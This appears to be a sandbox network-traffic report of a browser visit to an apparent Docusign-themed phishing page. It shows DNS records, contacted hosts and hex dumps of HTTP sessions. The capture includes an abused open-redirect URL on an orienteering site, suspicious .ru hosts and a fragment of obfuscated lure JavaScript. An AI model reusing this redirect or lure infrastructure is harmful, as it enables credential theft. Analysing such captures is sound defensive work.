Jan 15, 2025 13:07:58.424875975 CET	1.1.1.1	192.168.2.4	0xf184	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.102	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.424875975 CET	1.1.1.1	192.168.2.4	0xf184	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.2	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.425190926 CET	1.1.1.1	192.168.2.4	0x8410	No error (0)	images.ctfassets.net	d3orhvfyxudxxq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:58.496758938 CET	1.1.1.1	192.168.2.4	0xd351	No error (0)	cdn-icons-png.flaticon.com	flaticon.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:58.497860909 CET	1.1.1.1	192.168.2.4	0x422b	No error (0)	cdn-icons-png.flaticon.com	flaticon.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:59.910643101 CET	1.1.1.1	192.168.2.4	0xa738	No error (0)	templates.business-in-a-box.com	d1cgh0icblycb1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:59.910643101 CET	1.1.1.1	192.168.2.4	0xa738	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.62	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:59.910643101 CET	1.1.1.1	192.168.2.4	0xa738	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:59.910643101 CET	1.1.1.1	192.168.2.4	0xa738	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.89	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:59.910643101 CET	1.1.1.1	192.168.2.4	0xa738	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.26	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:59.936661005 CET	1.1.1.1	192.168.2.4	0xe26e	No error (0)	templates.business-in-a-box.com	d1cgh0icblycb1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:02.245539904 CET	1.1.1.1	192.168.2.4	0x4432	No error (0)	meta-q.cdn.bubble.io			65	IN (0x0001)	false
Jan 15, 2025 13:08:02.245759010 CET	1.1.1.1	192.168.2.4	0x5d0d	No error (0)	meta-q.cdn.bubble.io		104.17.124.183	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:02.245759010 CET	1.1.1.1	192.168.2.4	0x5d0d	No error (0)	meta-q.cdn.bubble.io		104.17.123.183	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:02.997575998 CET	1.1.1.1	192.168.2.4	0x2fdb	No error (0)	meta-q.cdn.bubble.io			65	IN (0x0001)	false
Jan 15, 2025 13:08:02.998985052 CET	1.1.1.1	192.168.2.4	0xa965	No error (0)	meta-q.cdn.bubble.io		104.17.124.183	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:02.998985052 CET	1.1.1.1	192.168.2.4	0xa965	No error (0)	meta-q.cdn.bubble.io		104.17.123.183	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.568984985 CET	1.1.1.1	192.168.2.4	0x5a28	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev			65	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.569149971 CET	1.1.1.1	192.168.2.4	0x2f61	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.812676907 CET	1.1.1.1	192.168.2.4	0xadba	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.813445091 CET	1.1.1.1	192.168.2.4	0x6234	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev			65	IN (0x0001)	false
Jan 15, 2025 13:08:10.922501087 CET	1.1.1.1	192.168.2.4	0x29a	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.824274063 CET	1.1.1.1	192.168.2.4	0xc88d	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev			65	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.827347040 CET	1.1.1.1	192.168.2.4	0x33c9	No error (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:16.005726099 CET	1.1.1.1	192.168.2.4	0xabb7	No error (0)	zorx.xemitarnor.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:16.005726099 CET	1.1.1.1	192.168.2.4	0xabb7	No error (0)	zorx.xemitarnor.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:16.041917086 CET	1.1.1.1	192.168.2.4	0xd154	No error (0)	zorx.xemitarnor.ru			65	IN (0x0001)	false
Jan 15, 2025 13:08:17.157917023 CET	1.1.1.1	192.168.2.4	0x28fa	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.157917023 CET	1.1.1.1	192.168.2.4	0x28fa	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.157917023 CET	1.1.1.1	192.168.2.4	0x28fa	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.157917023 CET	1.1.1.1	192.168.2.4	0x28fa	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.160370111 CET	1.1.1.1	192.168.2.4	0xc1b0	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.160370111 CET	1.1.1.1	192.168.2.4	0xc1b0	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.161298990 CET	1.1.1.1	192.168.2.4	0xdf2f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 13:08:17.161971092 CET	1.1.1.1	192.168.2.4	0xec55	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.161971092 CET	1.1.1.1	192.168.2.4	0xec55	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.162343979 CET	1.1.1.1	192.168.2.4	0x2667	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 13:08:17.962090015 CET	1.1.1.1	192.168.2.4	0x52f0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.962090015 CET	1.1.1.1	192.168.2.4	0x52f0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.962443113 CET	1.1.1.1	192.168.2.4	0x405	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 13:08:17.964538097 CET	1.1.1.1	192.168.2.4	0xa37e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.964538097 CET	1.1.1.1	192.168.2.4	0xa37e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.964538097 CET	1.1.1.1	192.168.2.4	0xa37e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.964538097 CET	1.1.1.1	192.168.2.4	0xa37e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.899532080 CET	1.1.1.1	192.168.2.4	0x8658	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.899532080 CET	1.1.1.1	192.168.2.4	0x8658	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.899602890 CET	1.1.1.1	192.168.2.4	0x5ddd	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 13:08:18.963761091 CET	1.1.1.1	192.168.2.4	0xe6a1	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.963761091 CET	1.1.1.1	192.168.2.4	0xe6a1	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.964454889 CET	1.1.1.1	192.168.2.4	0xc80f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 15, 2025 13:08:30.423854113 CET	1.1.1.1	192.168.2.4	0x2fe	No error (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:30.423854113 CET	1.1.1.1	192.168.2.4	0x2fe	No error (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:30.469125986 CET	1.1.1.1	192.168.2.4	0x341b	No error (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru			65	IN (0x0001)	false
Jan 15, 2025 13:08:31.549122095 CET	1.1.1.1	192.168.2.4	0xbccf	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:31.549631119 CET	1.1.1.1	192.168.2.4	0x2b28	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:31.568188906 CET	1.1.1.1	192.168.2.4	0xb10f	No error (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:31.568188906 CET	1.1.1.1	192.168.2.4	0xb10f	No error (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:31.722172022 CET	1.1.1.1	192.168.2.4	0x8d65	No error (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru			65	IN (0x0001)	false
Jan 15, 2025 13:08:32.614284992 CET	1.1.1.1	192.168.2.4	0x54cb	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:32.614284992 CET	1.1.1.1	192.168.2.4	0x54cb	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:32.622230053 CET	1.1.1.1	192.168.2.4	0xadc1	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:32.622230053 CET	1.1.1.1	192.168.2.4	0xadc1	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:33.919193983 CET	1.1.1.1	192.168.2.4	0xa217	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:33.919193983 CET	1.1.1.1	192.168.2.4	0xa217	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:33.919193983 CET	1.1.1.1	192.168.2.4	0xa217	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:34.800487995 CET	1.1.1.1	192.168.2.4	0x50e4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:34.800487995 CET	1.1.1.1	192.168.2.4	0x50e4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:34.831387043 CET	1.1.1.1	192.168.2.4	0x20f7	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:34.831387043 CET	1.1.1.1	192.168.2.4	0x20f7	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:34.831979036 CET	1.1.1.1	192.168.2.4	0x20ff	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:34.831979036 CET	1.1.1.1	192.168.2.4	0x20ff	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:36.120409012 CET	1.1.1.1	192.168.2.4	0x4f18	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:36.120409012 CET	1.1.1.1	192.168.2.4	0x4f18	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:36.120409012 CET	1.1.1.1	192.168.2.4	0x4f18	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:36.122159004 CET	1.1.1.1	192.168.2.4	0xd81c	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:36.122159004 CET	1.1.1.1	192.168.2.4	0xd81c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:51.959139109 CET	1.1.1.1	192.168.2.4	0xef02	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:08:51.959551096 CET	1.1.1.1	192.168.2.4	0xf80e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

eventor.orienteering.asn.au

archive1.diqx8fescpsb0.amplifyapp.com

https:

pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev

pub-18adec023eb44c5da5725749a35761dd.r2.dev

images.ctfassets.net

cdn.hellosign.com

templates.business-in-a-box.com

meta-q.cdn.bubble.io

mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev

zorx.xemitarnor.ru

code.jquery.com

cdnjs.cloudflare.com

challenges.cloudflare.com

yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	188.95.227.90	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:53 UTC	800	OUT	GET /Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086 HTTP/1.1 Host: eventor.orienteering.asn.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:53 UTC	777	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.livelox.com?redirectUrl=https%3a%2f%2farchive1.diqx8fescpsb0.amplifyapp.com%2fm1%2fenvelope%2fdocument%2fcontent%2f4086 Set-Cookie: ASP.NET_SessionId=nj0hc3ecldckkzopdrc2hea0; path=/; secure; HttpOnly; SameSite=None X-AspNetMvc-Version: 5.2 X-AspNet-Version: 4.0.30319 Request-Context: appId=cid-v1:5c161858-2b26-4c87-8f31-1b5437e7ded9 Access-Control-Expose-Headers: Request-Context X-Frame-Options: DENY X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin Date: Wed, 15 Jan 2025 12:07:52 GMT Connection: close Content-Length: 248
2025-01-15 12:07:53 UTC	248	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 76 65 6c 6f 78 2e 63 6f 6d 3f 72 65 64 69 72 65 63 74 55 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 61 72 63 68 69 76 65 31 2e 64 69 71 78 38 66 65 73 63 70 73 62 30 2e 61 6d 70 6c 69 66 79 61 70 70 2e 63 6f 6d 25 32 66 6d 31 25 32 66 65 6e 76 65 6c 6f 70 65 25 32 66 64 6f 63 75 6d 65 6e 74 25 32 66 63 6f 6e 74 65 6e 74 25 32 66 34 30 38 36 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.livelox.com?redirectUrl=https%3a%2f%2farchive1.diqx8fescpsb0.amplifyapp.com%2fm1%2fenvelope%2fdocument%2fcontent%2f4086">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	18.173.205.70	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:55 UTC	713	OUT	GET /m1/envelope/document/content/4086 HTTP/1.1 Host: archive1.diqx8fescpsb0.amplifyapp.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:56 UTC	453	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Connection: close Date: Wed, 15 Jan 2025 12:07:56 GMT Location: /m1/envelope/document/content/4086/ Server: AmazonS3 origin: https://main.diqx8fescpsb0.amplifyapp.com X-Cache: Miss from cloudfront Via: 1.1 1270eda8f49e8826b43258fcc9ef44d2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P12 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: MjoRnFhA0dqR0lvw9_TsNussrd7dTFBn1yq8FpMvvdqd5Kpp3REQgQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	18.173.205.70	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:56 UTC	714	OUT	GET /m1/envelope/document/content/4086/ HTTP/1.1 Host: archive1.diqx8fescpsb0.amplifyapp.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:57 UTC	561	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 12370 Connection: close Date: Wed, 15 Jan 2025 12:07:57 GMT Server: AmazonS3 Accept-Ranges: bytes ETag: "601068d39e85b4f361f3816d32f8367d" Last-Modified: Tue, 14 Jan 2025 18:04:09 GMT origin: https://main.diqx8fescpsb0.amplifyapp.com Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 2148953aab7910c366395376a0db1450.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P12 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: h17hMqPIFbH9IrBMFff4bKMvxz7P3vHl2atieMp9INywTnUs6IReNg==
2025-01-15 12:07:57 UTC	8949	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 0a 20 20 20 20 20 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 68 65 69 67 68 74 3d 64 65 76 69 63 65 2d 68 65 69 67 68 74 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 0a 20 20 20 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 6f 63 75 73 69 67 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1, maximum-scale=1, user-scalable=no" /> <title>Docusign</title> <lin
2025-01-15 12:07:57 UTC	3421	IN	Data Raw: 72 6e 20 5f 30 78 34 32 36 65 36 35 3b 7d 2c 5f 30 78 31 31 37 65 28 5f 30 78 32 34 31 66 62 33 2c 5f 30 78 31 35 65 30 39 31 29 3b 7d 6c 65 74 20 69 6e 70 75 74 53 74 61 72 74 54 69 6d 65 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 33 36 35 28 5f 30 78 33 30 30 61 32 61 2c 5f 30 78 32 64 36 32 36 65 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 62 37 38 66 3d 5f 30 78 35 39 34 36 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 33 36 35 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 32 31 66 65 2c 5f 30 78 33 61 65 61 36 61 29 7b 5f 30 78 32 35 32 31 66 65 3d 5f 30 78 32 35 32 31 66 65 2d 30 78 31 38 32 3b 6c 65 74 20 5f 30 78 35 34 30 39 39 64 3d 5f 30 78 35 62 62 37 38 66 5b 5f 30 78 32 35 32 31 66 65 5d 3b 72 65 74 75 72 6e 20 5f 30 78 35 34 30 39 39 64 Data Ascii: rn _0x426e65;},_0x117e(_0x241fb3,_0x15e091);}let inputStartTime=null;function _0x5365(_0x300a2a,_0x2d626e){const _0x5bb78f=_0x5946();return _0x5365=function(_0x2521fe,_0x3aea6a){_0x2521fe=_0x2521fe-0x182;let _0x54099d=_0x5bb78f[_0x2521fe];return 